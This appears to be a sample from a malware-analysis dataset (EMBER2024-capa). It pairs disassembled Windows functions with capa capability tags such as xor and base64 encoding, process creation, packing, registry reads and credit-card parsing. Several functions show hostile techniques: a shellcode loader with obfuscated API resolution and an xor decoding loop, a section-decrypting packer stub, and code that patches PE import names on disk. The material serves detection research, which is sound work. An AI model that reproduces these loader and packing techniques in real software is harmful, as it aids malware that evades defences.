joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2a82cc8b
Capabilities:
Encode data using base64

Disassembly:
push 0x14
mov eax, 0x2a84f345
call fcn.2a8015aa
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], edi
cmp dword [edi + 0x14], 0x10
jb 0x2a82ccad
mov eax, dword [edi]
mov dword [ebp - 0x14], eax
mov esi, dword [ebp + 8]
mov ebx, dword [edi + 0x10]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x20], esi
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], 0xf
mov byte [esi], cl
push ecx
mov eax, ebx
mov dword [ebp - 4], ecx
shl eax, 2
push 3
pop ecx
cdq
idiv ecx
mov dword [ebp - 0x1c], 1
add eax, ecx
mov ecx, esi
push eax
call fcn.2a83cb82
cmp dword [esi + 0x14], 0x10
mov edx, esi
jb 0x2a82ccef
mov edx, dword [esi]
xor ecx, ecx
test ebx, ebx
jle 0x2a82cda0
mov esi, dword [ebp - 0x14]
movzx eax, byte [esi + ecx]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx], al
mov bl, byte [esi + ecx]
and bl, 3
shl bl, 4
inc ecx
cmp ecx, dword [ebp - 0x10]
jge 0x2a82cd22
mov al, byte [esi + ecx]
shr al, 4
or bl, al
movzx eax, bl
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + 1], al
mov eax, dword [ebp - 0x10]
cmp ecx, eax
jge 0x2a82cd63
cmp dword [edi + 0x14], 0x10
mov ebx, edi
jb 0x2a82cd3f
mov ebx, dword [edi]
mov bl, byte [ebx + ecx]
and bl, 0xf
shl bl, 2
inc ecx
cmp ecx, eax
jge 0x2a82cd55
mov al, byte [esi + ecx]
shr al, 6
or bl, al
movzx eax, bl
mov bl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov eax, dword [ebp - 0x10]
jmp 0x2a82cd65
mov bl, 0x3d
lea esi, [edx + 3]
mov byte [edx + 2], bl
mov dword [ebp - 0x18], esi
mov edx, esi
mov esi, dword [ebp - 0x14]
inc edx
cmp ecx, eax
jge 0x2a82cd8a
movzx eax, byte [esi + ecx]
and eax, 0x3f
mov bl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov eax, dword [ebp - 0x10]
jmp 0x2a82cd8c
mov bl, 0x3d
mov esi, dword [ebp - 0x18]
inc ecx
mov byte [esi], bl
mov esi, dword [ebp - 0x14]
cmp ecx, eax
jl 0x2a82ccfc
mov esi, dword [ebp - 0x20]
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x2a82cdaa
mov eax, dword [esi]
push 0
sub edx, eax
mov ecx, esi
push edx
call fcn.2a83cb82
mov eax, esi
call fcn.2a80187a
ret

Function at 0x2a82f2c5
Capabilities:
Get hostname

Disassembly:
push 0x448
mov eax, 0x2a84f81b
call fcn.2a84a907
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x410]
mov edi, 0x400
mov dword [ebp - 0x450], esi
push edi
xor ebx, ebx
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x410]
push edi
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x2a82f329
lea eax, [ebp - 0x410]
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0xf
mov ecx, esi
push eax
mov byte [esi], bl
call fcn.2a805678
mov eax, esi
call fcn.2a84a8e5
ret
push 0x93
lea ecx, [ebp - 0x454]
call fcn.2a83cb82
lea ecx, [ebp - 0x44c]
mov dword [ebp - 4], ebx
push ecx
mov ecx, eax
call fcn.2a827d86
push eax
lea ecx, [ebp - 0x434]
mov byte [ebp - 4], 1
call fcn.2a821de4
push 0x2a85dc48
lea eax, [ebp - 0x434]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a83cb82
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x2a83cb91
pop dword [ebp - 0x28]
mov eax, 0x623ced30
sub eax, 0x37b9219f
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xafc94165
sub dword [ebp - 0x38], 0x6176fc1a
mov dword [ebp - 0x34], 0xecad4b5b
sub dword [ebp - 0x34], 0xba79ff16
mov dword [ebp - 0x30], 0xb4c5c4f
add dword [ebp - 0x30], 0x40ffe7df
mov dword [ebp - 0x2c], 0x737726d9
add dword [ebp - 0x2c], 0x8c88d927
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x5acfd79c
add dword [ebp - 0x38], 0x19a291ba
mov dword [ebp - 0x34], 0x60f0f59e
add dword [ebp - 0x34], 0xe07b6bd7
mov dword [ebp - 0x30], 0xd0e7386b
add dword [ebp - 0x30], 0x92883401
mov dword [ebp - 0x2c], 0x366e55d8
sub dword [ebp - 0x2c], 0x366e55d8
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x4c45dc51
sub eax, 0x21c0bb15
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x49e8b
push 0
call eax
mov ecx, 0x46bb
xor esi, esi
add esi, eax
mov edi, 0xccb59444
add edi, 0x5dd255bc
add edi, dword [ebp - 0x28]
mov ebx, 0xab91ab25
add dword [ebp - 0x10], 0xcc1fea4a
mov edx, dword [edi]
xor dword [ebp - 4], ebx
xor edx, ebx
add dword [ebp - 0x18], esi
mov dword [esi], edx
xor dword [ebp - 0x1c], edi
add esi, 0xc8183fb0
add esi, 0x37e7c054
add edi, 4
loop 0x2a83cca4
add eax, 0x9058a2f
add eax, 0xf6fb8390
mov ebx, eax
add eax, 5
mov ecx, 0x2a800000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x2a84a76f
Capabilities:
Create process on windows

Disassembly:
push 0x48
mov eax, 0x2a851e75
call fcn.2a8015aa
mov edi, ecx
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x54]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
push 0x10
mov dword [ebp - 0x54], esi
call fcn.2a83cb82
mov esi, eax
add esp, 0x10
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], ebx
test esi, esi
je 0x2a84a7b4
push 0x10
push ebx
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
jmp 0x2a84a7b6
mov esi, ebx
or dword [ebp - 4], 0xffffffff
mov ecx, edi
mov dword [edi + 0x24], esi
call fcn.2a849b77
push dword [edi + 0x24]
lea ecx, [ebp - 0x54]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.kernel32.dll_CreateProcessW]
call fcn.2a80187a
ret
Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x693b5b5c
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data_1
nop
mov ebx, 0x42f314
nop
mov ecx, 0x4db374f6
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x4010cd
push dword [ebp + 8]
call sub.KERNEL32.dll_DisableThreadLibraryCalls
push 0x406010
call sub.KERNEL32.dll_InitializeCriticalSection
push 0x406010
call sub.KERNEL32.dll_EnterCriticalSection
push edi
push ebp
push 0x4010d6
push 0x402c30
push dword fs:[0]
mov dword fs:[0], esp
mov edi, 0x406040
push 0x104
push edi
push dword [ebp + 8]
call sub.KERNEL32.dll_GetModuleFileNameA
test eax, eax
je 0x4010d6
cmp byte [edi], 0
je 0x4010d6
add edi, eax
xchg ecx, eax
std
mov al, 0x2e
repne scasb al, byte es:[edi]
jecxz 0x4010d6
mov dword [edi + 2], 0x696e69
mov al, 0x5c
repne scasb al, byte es:[edi]
jecxz 0x4010d6
inc ecx
mov dword [0x40603c], ecx
cld
mov byte [0x406254], 0
mov byte [0x406364], 0
mov byte [0x406370], 0
mov byte [0x40a36f], 0
push 0x406040
call sub.KERNEL32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4010b8
test eax, 0x10
jne 0x4010b8
mov dword [0x40603c], 0
pop dword fs:[0]
lea esp, [esp + 0xc]
pop edi
push 0x406010
call sub.KERNEL32.dll_LeaveCriticalSection
mov eax, 1
leave
ret 0xc
pop dword fs:[0]
lea esp, [esp + 0xc]
cld
pop edi
push 0x406010
call sub.KERNEL32.dll_LeaveCriticalSection
mov eax, 0
leave
ret 0xc
Function at 0x4011a0
Capabilities:
Check if file exists
Get file attributes
Get file size
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0x401384
push 0x402c30
push dword fs:[0]
mov dword fs:[0], esp
mov edi, dword [ebp + 0x10]
push edi
call sub.KERNEL32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x401384
test eax, 0x10
jne 0x401384
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push edi
call sub.KERNEL32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x401384
push eax
push 0
push dword [esp + 4]
call sub.KERNEL32.dll_GetFileSize
or eax, eax
je 0x401377
cmp eax, 0xffffffff
je 0x401377
push 0
push 0
push 0
push 4
push 0
push dword [esp + 0x14]
call sub.KERNEL32.dll_CreateFileMappingA
test eax, eax
je 0x401377
push eax
push 0
push 0
push 0
push 0xf001f
push dword [esp + 0x10]
call sub.KERNEL32.dll_MapViewOfFile
test eax, eax
je 0x401372
push eax
push ebp
push 0x401362
push 0x402c30
push dword fs:[0]
mov dword fs:[0], esp
mov ebp, eax
mov esi, eax
cmp word [ebp], 0x5a4d
jne 0x401362
cmp dword [ebp + 0x3c], 0
je 0x401362
add esi, dword [ebp + 0x3c]
cmp dword [esi], 0x4550
jne 0x401362
cmp word [esi + 0x18], 0x10b
jne 0x401362
mov eax, dword [esi + 0x48]
ror eax, 0x10
cmp eax, 0x40000
jbe 0x4012b1
mov dword [esi + 0x48], 4
cmp dword [esi + 0x38], 0
je 0x401362
cmp dword [esi + 0x3c], 0
je 0x401362
movzx edi, word [esi + 0x14]
lea edi, [edi + esi + 0x18]
cmp dword [esi + 0x74], 1
jbe 0x401362
mov edx, dword [esi + 0x80]
mov eax, dword [esi + 0x84]
test edx, edx
je 0x401362
test eax, eax
je 0x401362
call fcn.004013a0
test eax, eax
je 0x401362
mov ebx, eax
jmp 0x40135c
mov edx, dword [ebx + ebp + 0xc]
test edx, edx
je 0x401359
call fcn.004013a0
test eax, eax
je 0x401359
cmp dword [eax + ebp], 0x41564441
je 0x40131b
cmp dword [eax + ebp], 0x61766461
jne 0x401359
cmp dword [eax + ebp + 4], 0x32334950
je 0x40132f
cmp dword [eax + ebp + 4], 0x32336970
jne 0x401359
cmp byte [eax + ebp + 8], 0
je 0x40134a
cmp dword [eax + ebp + 8], 0x4c4c442e
je 0x40134a
cmp dword [eax + ebp + 8], 0x6c6c642e
jne 0x401359
mov dword [eax + ebp], 0x74726f70
mov dword [eax + ebp + 4], 0x656c6261
add ebx, 0x14
cmp dword [ebx + ebp], 0
jne 0x4012f8
pop dword fs:[0]
lea esp, [esp + 8]
pop ebp
call sub.KERNEL32.dll_UnmapViewOfFile
call sub.KERNEL32.dll_CloseHandle
push dword [esp]
call sub.KERNEL32.dll_FlushFileBuffers
call sub.KERNEL32.dll_CloseHandle
pop dword fs:[0]
lea esp, [esp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x401c40
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], 0
jne 0x401c59
cmp byte [0x406370], 0
je 0x401d76
push 0x406010
call sub.KERNEL32.dll_EnterCriticalSection
push ebp
push 0x401d5e
push 0x402c30
push dword fs:[0]
mov dword fs:[0], esp
mov edx, dword [ebp + 0xc]
test edx, edx
je 0x401c9b
push 0x3fff
push edx
push 0x406370
call sub.KERNEL32.dll_lstrcpynA
push 0x406370
call fcn.004028f0
mov ecx, dword [ebp + 8]
cmp ecx, 0x80000002
jne 0x401cad
mov ecx, str.Settings.HKLM
jmp 0x401cc1
cmp ecx, 0x80000001
jne 0x401cbc
mov ecx, str.Settings.HKCU
jmp 0x401cc1
mov ecx, str.Settings
push dword [ebp + 4]
call fcn.00401100
push eax
push 0x7f5b
push 0x40a370
push section..data
push 0x406370
push ecx
call sub.KERNEL32.dll_GetPrivateProfileStringA
mov ebx, eax
push eax
push 0x40a370
call fcn.00402940
mov ecx, 0x40a370
movzx ecx, byte [ecx]
test ecx, ecx
je 0x401d59
mov edx, dword [ebp + 0x14]
cmp dword [ebp + 0x10], 0
je 0x401d45
test edx, edx
jne 0x401d20
push dword [ebp + 0x10]
push 0x40a370
push 0
call fcn.004029c0
mov eax, 0
jmp 0x401d5e
cmp dword [edx], eax
jb 0x401d3c
mov dword [edx], eax
push dword [ebp + 0x10]
push 0x40a370
push 0
call fcn.004029c0
mov eax, 0
jmp 0x401d5e
mov dword [edx], eax
mov eax, 0xea
jmp 0x401d5e
test edx, edx
jne 0x401d50
mov eax, 0
jmp 0x401d57
mov dword [edx], eax
mov eax, 0
jmp 0x401d5e
mov eax, 2
pop dword fs:[0]
lea esp, [esp + 0xc]
push eax
push 0x406010
call sub.KERNEL32.dll_LeaveCriticalSection
pop eax
jmp 0x401d7b
mov eax, 2
test ebx, ebx
je 0x401d84
cmp eax, 2
jne 0x401d95
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.dll_RegQueryValueA
pop ebx
leave
ret 0x10
Function at 0x401da0
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], 0
jne 0x401db9
cmp byte [0x406370], 0
je 0x401ee3
push 0x406010
call sub.KERNEL32.dll_EnterCriticalSection
push ebp
push 0x401ecb
push 0x402c30
push dword fs:[0]
mov dword fs:[0], esp
mov edx, dword [ebp + 0xc]
test edx, edx
je 0x401e08
push 0
push 0
push 0x3fff
push 0x406370
push 0xffffffffffffffff
push edx
push 0
push 0x4e4
call sub.KERNEL32.dll_WideCharToMultiByte
push 0x406370
call fcn.004028f0
mov ecx, dword [ebp + 8]
cmp ecx, 0x80000002
jne 0x401e1a
mov ecx, str.Settings.HKLM
jmp 0x401e2e
cmp ecx, 0x80000001
jne 0x401e29
mov ecx, str.Settings.HKCU
jmp 0x401e2e
mov ecx, str.Settings
push dword [ebp + 4]
call fcn.00401100
push eax
push 0x7f5b
push 0x40a370
push section..data
push 0x406370
push ecx
call sub.KERNEL32.dll_GetPrivateProfileStringA
mov ebx, eax
push eax
push 0x40a370
call fcn.00402940
mov ecx, 0x40a370
movzx ecx, byte [ecx]
test ecx, ecx
je 0x401ec6
mov edx, dword [ebp + 0x14]
cmp dword [ebp + 0x10], 0
je 0x401eb2
test edx, edx
jne 0x401e8d
push dword [ebp + 0x10]
push 0x40a370
push 0
call fcn.004029c0
mov eax, 0
jmp 0x401ecb
cmp dword [edx], eax
jb 0x401ea9
mov dword [edx], eax
push dword [ebp + 0x10]
push 0x40a370
push 0
call fcn.004029c0
mov eax, 0
jmp 0x401ecb
mov dword [edx], eax
mov eax, 0xea
jmp 0x401ecb
test edx, edx
jne 0x401ebd
mov eax, 0
jmp 0x401ec4
mov dword [edx], eax
mov eax, 0
jmp 0x401ecb
mov eax, 2
pop dword fs:[0]
lea esp, [esp + 0xc]
push eax
push 0x406010
call sub.KERNEL32.dll_LeaveCriticalSection
pop eax
jmp 0x401ee8
mov eax, 2
test ebx, ebx
je 0x401ef1
cmp eax, 2
jne 0x401f02
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.dll_RegQueryValueW
pop ebx
leave
ret 0x10
Function at 0x401f10
Capabilities:
Check if file exists
Get file attributes
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push 0x406010
call sub.KERNEL32.dll_EnterCriticalSection
push ebp
push 0x402101
push 0x402c30
push dword fs:[0]
mov dword fs:[0], esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x401f43
mov edx, section..data
cmp byte [edx], 0
jne 0x401f6a
mov eax, dword [ebp + 0x1c]
mov ecx, 0x406370
or eax, eax
je 0x401f6a
cmp dword [eax], 4
jb 0x401f6a
cmp dword [ecx], 0x504c4548
jne 0x401f6a
cmp dword [ecx + 4], 0x524944
je 0x401f84
push 0x3fff
push edx
push 0x406370
call sub.KERNEL32.dll_lstrcpynA
push 0x406370
call fcn.004028f0
mov ecx, dword [ebp + 8]
cmp ecx, 0x80000002
jne 0x401f96
mov ecx, str.Settings.HKLM
jmp 0x401faa
cmp ecx, 0x80000001
jne 0x401fa5
mov ecx, str.Settings.HKCU
jmp 0x401faa
mov ecx, str.Settings
push dword [ebp + 4]
call fcn.00401100
push eax
push 0x7f5b
push 0x40a370
push section..data
push 0x406370
push ecx
call sub.KERNEL32.dll_GetPrivateProfileStringA
mov ebx, eax
push eax
push 0x40a370
call fcn.00402940
mov ecx, 0x40a370
movzx ecx, byte [ecx]
test ecx, ecx
je 0x402050
mov edx, dword [ebp + 0x1c]
cmp dword [ebp + 0x18], 0
je 0x402039
test edx, edx
jne 0x40200d
push dword [ebp + 0x18]
push 0x40a370
push dword [ebp + 0x14]
call fcn.004029c0
mov eax, 0
jmp 0x402101
cmp dword [edx], eax
jb 0x40202d
mov dword [edx], eax
push dword [ebp + 0x18]
push 0x40a370
push dword [ebp + 0x14]
call fcn.004029c0
mov eax, 0
jmp 0x402101
mov dword [edx], eax
mov eax, 0xea
jmp 0x402101
test edx, edx
jne 0x402044
mov eax, 0
jmp 0x40204b
mov dword [edx], eax
mov eax, 0
jmp 0x402101
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x402092
cmp byte [ecx], 0
je 0x402092
push dword [ebp + 4]
call fcn.00401100
push eax
push eax
call sub.KERNEL32.dll_GetFileAttributesA
pop ecx
cmp eax, 0xffffffff
je 0x40208b
test eax, 0x10
jne 0x40208b
push ecx
push section..data
push dword [ebp + 0xc]
push str.Unlisted
call sub.KERNEL32.dll_WritePrivateProfileStringA
mov eax, 2
jmp 0x402101
cmp byte [0x406370], 0
je 0x4020fc
mov edx, dword [ebp + 0x1c]
mov ecx, 0x406370
or edx, edx
je 0x4020f5
cmp dword [edx], 4
jb 0x4020f5
cmp dword [ecx], 0x504c4548
jne 0x4020f5
cmp dword [ecx + 4], 0x524944
jne 0x4020f5
push edi
mov edi, dword [ebp + 0x18]
push dword [edx]
push edi
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
add edi, eax
xchg ecx, eax
mov al, 0x5c
std
repne scasb al, byte es:[edi]
cld
mov byte [edi + 2], 0
pop edi
lea ebx, [ecx + 3]
mov edx, dword [ebp + 0x1c]
mov dword [edx], ebx
mov ecx, dword [ebp + 0x14]
test ecx, ecx
je 0x4020ee
mov dword [ecx], 1
mov eax, 0
jmp 0x402101
mov eax, 2
jmp 0x402101
mov eax, 2
pop dword fs:[0]
lea esp, [esp + 0xc]
push eax
push 0x406010
call sub.KERNEL32.dll_LeaveCriticalSection
pop eax
test ebx, ebx
je 0x402120
cmp eax, 2
jne 0x402137
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.dll_RegQueryValueExA
pop ebx
leave
ret 0x18
Function at 0x402140
Capabilities:
Check if file exists
Get file attributes
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push 0x406010
call sub.KERNEL32.dll_EnterCriticalSection
push ebp
push 0x40229a
push 0x402c30
push dword fs:[0]
mov dword fs:[0], esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x402173
mov edx, section..data
push 0
push 0
push 0x3fff
push 0x406370
push 0xffffffffffffffff
push edx
push 0
push 0x4e4
call sub.KERNEL32.dll_WideCharToMultiByte
push 0x406370
call fcn.004028f0
mov ecx, dword [ebp + 8]
cmp ecx, 0x80000002
jne 0x4021ac
mov ecx, str.Settings.HKLM
jmp 0x4021c0
cmp ecx, 0x80000001
jne 0x4021bb
mov ecx, str.Settings.HKCU
jmp 0x4021c0
mov ecx, str.Settings
push dword [ebp + 4]
call fcn.00401100
push eax
push 0x7f5b
push 0x40a370
push section..data
push 0x406370
push ecx
call sub.KERNEL32.dll_GetPrivateProfileStringA
mov ebx, eax
push eax
push 0x40a370
call fcn.00402940
mov ecx, 0x40a370
movzx ecx, byte [ecx]
test ecx, ecx
je 0x40225a
mov edx, dword [ebp + 0x1c]
cmp dword [ebp + 0x18], 0
je 0x402246
test edx, edx
jne 0x402220
push dword [ebp + 0x18]
push 0x40a370
push dword [ebp + 0x14]
call fcn.004029c0
mov eax, 0
jmp 0x40229a
cmp dword [edx], eax
jb 0x40223d
mov dword [edx], eax
push dword [ebp + 0x18]
push 0x40a370
push dword [ebp + 0x14]
call fcn.004029c0
mov eax, 0
jmp 0x40229a
mov dword [edx], eax
mov eax, 0xea
jmp 0x40229a
test edx, edx
jne 0x402251
mov eax, 0
jmp 0x402258
mov dword [edx], eax
mov eax, 0
jmp 0x40229a
mov ecx, 0x406370
cmp byte [ecx], 0
je 0x402295
push dword [ebp + 4]
call fcn.00401100
push eax
push eax
call sub.KERNEL32.dll_GetFileAttributesA
pop ecx
cmp eax, 0xffffffff
je 0x402295
test eax, 0x10
jne 0x402295
push ecx
push section..data
push 0x406370
push str.Unlisted
call sub.KERNEL32.dll_WritePrivateProfileStringA
mov eax, 2
pop dword fs:[0]
lea esp, [esp + 0xc]
push eax
push 0x406010
call sub.KERNEL32.dll_LeaveCriticalSection
pop eax
test ebx, ebx
je 0x4022b9
cmp eax, 2
jne 0x4022d0
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.dll_RegQueryValueExW
pop ebx
leave
ret 0x18
Function at 0x4029c0
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
movzx edx, word [esi]
or dl, dl
je 0x402b06
cmp dl, 0x3d
jne 0x4029ee
inc esi
push edi
push esi
call fcn.00402bb0
mov ecx, 1
jmp 0x402b10
cmp dx, 0x7830
jne 0x402a0f
add esi, 2
push esi
call fcn.00402c00
mov dword [edi], eax
mov eax, 4
mov ecx, 4
jmp 0x402b10
cmp dh, 0x3d
jne 0x402aed
cmp dl, 0x3d
jne 0x402a31
add esi, 2
push edi
push esi
call fcn.00402bb0
mov ecx, 3
jmp 0x402b10
cmp dl, 0x42
jne 0x402a4a
add esi, 2
push edi
push esi
call fcn.00402bb0
mov ecx, 3
jmp 0x402b10
cmp dl, 0x44
jne 0x402a63
add esi, 2
push edi
push esi
call fcn.00402bb0
mov ecx, 4
jmp 0x402b10
cmp dl, 0x51
jne 0x402a7c
add esi, 2
push edi
push esi
call fcn.00402bb0
mov ecx, 0xb
jmp 0x402b10
cmp dl, 0x53
jne 0x402a9d
add esi, 2
mov al, byte [esi]
mov byte [edi], al
test al, al
je 0x402a90
inc esi
inc edi
jmp 0x402a84
sub edi, dword [ebp + 0x10]
lea eax, [edi + 1]
mov ecx, 1
jmp 0x402b10
cmp dl, 0x58
jne 0x402abe
add esi, 2
mov al, byte [esi]
mov byte [edi], al
test al, al
je 0x402ab1
inc esi
inc edi
jmp 0x402aa5
sub edi, dword [ebp + 0x10]
lea eax, [edi + 2]
mov ecx, 2
jmp 0x402b10
cmp dl, 0x4d
jne 0x402ad4
add esi, 2
push edi
push esi
call fcn.00402bb0
mov ecx, 7
jmp 0x402b10
mov al, byte [esi]
mov byte [edi], al
test al, al
je 0x402ae0
inc esi
inc edi
jmp 0x402ad4
sub edi, dword [ebp + 0x10]
lea eax, [edi + 1]
mov ecx, 1
jmp 0x402b10
mov al, byte [esi]
mov byte [edi], al
test al, al
je 0x402af9
inc esi
inc edi
jmp 0x402aed
sub edi, dword [ebp + 0x10]
lea eax, [edi + 1]
mov ecx, 1
jmp 0x402b10
xor eax, eax
mov byte [edi], dl
inc eax
mov ecx, 1
mov edx, dword [ebp + 8]
test edx, edx
je 0x402b19
mov dword [edx], ecx
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x50c0b0], 1
mov dword [0x50c0ac], 1
mov dword [0x50c0a8], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x50c014], eax
mov eax, dword [0x50c0bc]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x50c0d0]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x50c0b8]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x4be094], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056